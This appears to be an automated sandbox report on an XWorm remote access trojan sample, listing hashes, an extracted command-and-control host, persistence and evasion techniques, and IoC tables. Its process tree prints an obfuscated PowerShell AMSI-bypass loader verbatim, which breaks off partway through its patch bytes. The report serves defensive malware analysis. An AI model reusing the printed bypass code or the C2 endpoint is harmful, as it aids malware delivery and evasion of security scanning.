xworm | 996e11e2c1ddbb5a16743fafa288e5f554cf31a295b5ff8e705af30fb690ef31

Analysis

max time kernel
150s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
08/11/2024, 20:05

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General

Target

Setup.bat
Size

492KB
MD5

334e5ed791deb37c6838e954fda616d9
SHA1

45519a533eedb9a5489b219069725ee884d6a662
SHA256

996e11e2c1ddbb5a16743fafa288e5f554cf31a295b5ff8e705af30fb690ef31
SHA512

88bdeb6930b66a1b86264519441207c81955183dfb5ba58705aaf9fbc2fe258dc8f13b23424596d711090380834a1354a549443d08c31b925b7a0ee9204818fc
SSDEEP

12288:TV1R5Ja3/QZfusZK3VX+1VbQLGwCvn0YGZdRksyp:jtoQ5ZGpIDwCvn0YQRkvp

Score

10^/10

xworm defense_evasion discovery execution persistence rat trojan

Malware Config

Extracted

Family

xworm

here-thinking.gl.at.ply.gg:50161

Attributes

Install_directory
%LocalAppData%
install_file
WindowsSecurity.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/760-17-0x0000027C74520000-0x0000027C74538000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4988 created 624	4988	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	760	powershell.exe
4	760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
760	powershell.exe
4988	powershell.EXE
5008	powershell.exe
5104	powershell.exe
2656	powershell.exe
3640	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2228	Install.exe
2360	WindowsSecurity.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurity = "C:\\Users\\Admin\\AppData\\Local\\WindowsSecurity.exe"	powershell.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\WindowsSecurity	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4988 set thread context of 1976	4988	powershell.EXE	88

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={393F379E-9243-4876-8596-E774536AC1F1}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1731096438"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 08 Nov 2024 20:07:19 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2156	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
760	powershell.exe
760	powershell.exe
4988	powershell.EXE
4988	powershell.EXE
4988	powershell.EXE
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
5104	powershell.exe
5104	powershell.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
2656	powershell.exe
2656	powershell.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
3640	powershell.exe
1976	dllhost.exe
1976	dllhost.exe
3640	powershell.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
5008	powershell.exe
5008	powershell.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe
1976	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	760	powershell.exe
Token: SeDebugPrivilege	4988	powershell.EXE
Token: SeDebugPrivilege	4988	powershell.EXE
Token: SeDebugPrivilege	1976	dllhost.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeAuditPrivilege	2540	svchost.exe
Token: SeDebugPrivilege	760	powershell.exe
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeDebugPrivilege	2360	WindowsSecurity.exe
Token: SeAssignPrimaryTokenPrivilege	2604	svchost.exe
Token: SeIncreaseQuotaPrivilege	2604	svchost.exe
Token: SeSecurityPrivilege	2604	svchost.exe
Token: SeTakeOwnershipPrivilege	2604	svchost.exe
Token: SeLoadDriverPrivilege	2604	svchost.exe
Token: SeSystemtimePrivilege	2604	svchost.exe
Token: SeBackupPrivilege	2604	svchost.exe
Token: SeRestorePrivilege	2604	svchost.exe
Token: SeShutdownPrivilege	2604	svchost.exe
Token: SeSystemEnvironmentPrivilege	2604	svchost.exe
Token: SeUndockPrivilege	2604	svchost.exe
Token: SeManageVolumePrivilege	2604	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2604	svchost.exe
Token: SeIncreaseQuotaPrivilege	2604	svchost.exe
Token: SeSecurityPrivilege	2604	svchost.exe
Token: SeTakeOwnershipPrivilege	2604	svchost.exe
Token: SeLoadDriverPrivilege	2604	svchost.exe
Token: SeSystemtimePrivilege	2604	svchost.exe
Token: SeBackupPrivilege	2604	svchost.exe
Token: SeRestorePrivilege	2604	svchost.exe
Token: SeShutdownPrivilege	2604	svchost.exe
Token: SeSystemEnvironmentPrivilege	2604	svchost.exe
Token: SeUndockPrivilege	2604	svchost.exe
Token: SeManageVolumePrivilege	2604	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2604	svchost.exe
Token: SeIncreaseQuotaPrivilege	2604	svchost.exe
Token: SeSecurityPrivilege	2604	svchost.exe
Token: SeTakeOwnershipPrivilege	2604	svchost.exe
Token: SeLoadDriverPrivilege	2604	svchost.exe
Token: SeSystemtimePrivilege	2604	svchost.exe
Token: SeBackupPrivilege	2604	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
760	powershell.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3336	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1536 wrote to memory of 3924	1536	cmd.exe	80
PID 1536 wrote to memory of 3924	1536	cmd.exe	80
PID 3924 wrote to memory of 3740	3924	net.exe	81
PID 3924 wrote to memory of 3740	3924	net.exe	81
PID 1536 wrote to memory of 760	1536	cmd.exe	83
PID 1536 wrote to memory of 760	1536	cmd.exe	83
PID 760 wrote to memory of 2228	760	powershell.exe	85
PID 760 wrote to memory of 2228	760	powershell.exe	85
PID 760 wrote to memory of 2228	760	powershell.exe	85
PID 4988 wrote to memory of 1976	4988	powershell.EXE	88
PID 4988 wrote to memory of 1976	4988	powershell.EXE	88
PID 4988 wrote to memory of 1976	4988	powershell.EXE	88
PID 4988 wrote to memory of 1976	4988	powershell.EXE	88
PID 4988 wrote to memory of 1976	4988	powershell.EXE	88
PID 4988 wrote to memory of 1976	4988	powershell.EXE	88
PID 4988 wrote to memory of 1976	4988	powershell.EXE	88
PID 4988 wrote to memory of 1976	4988	powershell.EXE	88
PID 1976 wrote to memory of 624	1976	dllhost.exe	5
PID 1976 wrote to memory of 692	1976	dllhost.exe	7
PID 1976 wrote to memory of 1000	1976	dllhost.exe	12
PID 1976 wrote to memory of 464	1976	dllhost.exe	13
PID 1976 wrote to memory of 420	1976	dllhost.exe	14
PID 1976 wrote to memory of 456	1976	dllhost.exe	15
PID 1976 wrote to memory of 1040	1976	dllhost.exe	16
PID 1976 wrote to memory of 1048	1976	dllhost.exe	17
PID 1976 wrote to memory of 1168	1976	dllhost.exe	19
PID 1976 wrote to memory of 1208	1976	dllhost.exe	20
PID 1976 wrote to memory of 1260	1976	dllhost.exe	21
PID 1976 wrote to memory of 1284	1976	dllhost.exe	22
PID 1976 wrote to memory of 1336	1976	dllhost.exe	23
PID 1976 wrote to memory of 1384	1976	dllhost.exe	24
PID 1976 wrote to memory of 1408	1976	dllhost.exe	25
PID 1976 wrote to memory of 1428	1976	dllhost.exe	26
PID 1976 wrote to memory of 1456	1976	dllhost.exe	27
PID 1976 wrote to memory of 1652	1976	dllhost.exe	28
PID 1976 wrote to memory of 1716	1976	dllhost.exe	29
PID 1976 wrote to memory of 1736	1976	dllhost.exe	30
PID 1976 wrote to memory of 1808	1976	dllhost.exe	31
PID 1976 wrote to memory of 1896	1976	dllhost.exe	32
PID 1976 wrote to memory of 1956	1976	dllhost.exe	33
PID 1976 wrote to memory of 1964	1976	dllhost.exe	34
PID 1976 wrote to memory of 2012	1976	dllhost.exe	35
PID 1976 wrote to memory of 2056	1976	dllhost.exe	36
PID 1976 wrote to memory of 2140	1976	dllhost.exe	37
PID 1976 wrote to memory of 2284	1976	dllhost.exe	39
PID 1976 wrote to memory of 2388	1976	dllhost.exe	40
PID 1976 wrote to memory of 2396	1976	dllhost.exe	41
PID 1976 wrote to memory of 2436	1976	dllhost.exe	42
PID 1976 wrote to memory of 2500	1976	dllhost.exe	43
PID 1976 wrote to memory of 2540	1976	dllhost.exe	44
PID 1976 wrote to memory of 2576	1976	dllhost.exe	45
PID 1976 wrote to memory of 2596	1976	dllhost.exe	46
PID 1976 wrote to memory of 2604	1976	dllhost.exe	47
PID 1976 wrote to memory of 2628	1976	dllhost.exe	48
PID 1976 wrote to memory of 536	1976	dllhost.exe	50
PID 1976 wrote to memory of 708	1976	dllhost.exe	51
PID 1976 wrote to memory of 2496	1976	dllhost.exe	52
PID 1976 wrote to memory of 3336	1976	dllhost.exe	53
PID 1976 wrote to memory of 3452	1976	dllhost.exe	54
PID 1976 wrote to memory of 3488	1976	dllhost.exe	55
PID 1976 wrote to memory of 3928	1976	dllhost.exe	58
PID 1976 wrote to memory of 3948	1976	dllhost.exe	59
PID 1976 wrote to memory of 4020	1976	dllhost.exe	60
PID 1976 wrote to memory of 4028	1976	dllhost.exe	61

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:624
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:464
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3f3944b6-4bf1-4a32-863b-846d0676da71}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1976

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:456

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WgzieDfqEeVX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YKoNZWcLftKbJV,[Parameter(Position=1)][Type]$SKUKwGlhBN)$GJPCjbTlUkb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+'t'+[Char](101)+''+'T'+''+'y'+''+'p'+'e',''+'C'+'l'+'a'+''+[Char](115)+'s'+[Char](44)+'P'+'u'+''+[Char](98)+'l'+[Char](105)+'c'+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+'e'+''+'d'+''+[Char](44)+''+'A'+'n'+[Char](115)+'iC'+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+'o'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$GJPCjbTlUkb.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+'e'+'c'+'i'+''+[Char](97)+'l'+[Char](78)+''+'a'+'m'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+'B'+'y'+''+'S'+''+[Char](105)+''+[Char](103)+',P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YKoNZWcLftKbJV).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+'t'+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$GJPCjbTlUkb.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+'o'+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'Ne'+'w'+''+'S'+''+[Char](108)+''+'o'+'t'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$SKUKwGlhBN,$YKoNZWcLftKbJV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $GJPCjbTlUkb.CreateType();}$gSLquWfEARKTq=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+'t'+''+'e'+'m.d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2.U'+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+'Nat'+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+'o'+'d'+''+[Char](115)+'');$jxVcAzOUhpNtIQ=$gSLquWfEARKTq.GetMethod(''+[Char](71)+'e'+[Char](116)+'P'+'r'+''+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+[Char](100)+''+[Char](114)+'es'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+'at'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CglJdYWyZmicoZiudfG=WgzieDfqEeVX @([String])([IntPtr]);$eZXGvzNswEUyBXriWoKMqT=WgzieDfqEeVX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kFQyuclKXlA=$gSLquWfEARKTq.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+'3'+''+[Char](50)+''+'.'+''+'d'+''+'l'+'l')));$ksbnGbxQCijLXk=$jxVcAzOUhpNtIQ.Invoke($Null,@([Object]$kFQyuclKXlA,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+'a'+''+[Char](114)+'yA')));$lkvEdLTtSsziDGWnK=$jxVcAzOUhpNtIQ.Invoke($Null,@([Object]$kFQyuclKXlA,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+'P'+'r'+[Char](111)+'t'+'e'+''+'c'+''+[Char](116)+'')));$LFhHSka=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ksbnGbxQCijLXk,$CglJdYWyZmicoZiudfG).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+'dl'+[Char](108)+'');$QJTNbEzCoNZSqQpUn=$jxVcAzOUhpNtIQ.Invoke($Null,@([Object]$LFhHSka,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+'f'+[Char](101)+'r')));$ECVYgoVdUz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lkvEdLTtSsziDGWnK,$eZXGvzNswEUyBXriWoKMqT).Invoke($QJTNbEzCoNZSqQpUn,[uint32]8,4,[ref]$ECVYgoVdUz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x